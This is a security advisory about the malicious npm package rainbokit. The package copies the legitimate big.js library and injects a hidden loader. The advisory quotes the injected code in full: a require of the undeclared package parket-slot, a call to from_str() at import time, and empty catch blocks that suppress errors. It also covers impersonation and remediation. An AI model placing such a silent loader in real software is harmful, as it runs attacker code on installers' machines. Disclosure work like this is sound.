MAL-2026-6339 Malicious code in rainbokit (npm)

The package publishes as rainbokit but ships a verbatim copy of the legitimate big.js library (matching author, repository URL, README, LICENCE, and keywords) so that an installer inspecting the on-disk package cannot distinguish it from genuine big.js. Both big.js (~line 488) and big.mjs contain an injected block try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { } inserted into the middle of the otherwise-unmodified big.js source. When a consumer does require('rainbokit') or import 'rainbokit', this block runs parket-slot.from_str() — code controlled by the attacker. The require is wrapped in an empty try/catch and the resulting promise's rejection handler is also empty, so any error is silently swallowed (anti-detection). parket-slot is not declared in dependencies; the only declared dependency is log-taker@^0.0.9, which is never referenced from the visible code. This declared-but-unused / used-but-undeclared split is consistent with a multi-package staging campaign where the attacker resolves parket-slot and log-taker from sibling packages they control. The combination of identity spoofing of a popular package, hidden second-stage loader fired at import time, and silent error suppression demonstrates intent to execute attacker-controlled code on installer machines.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.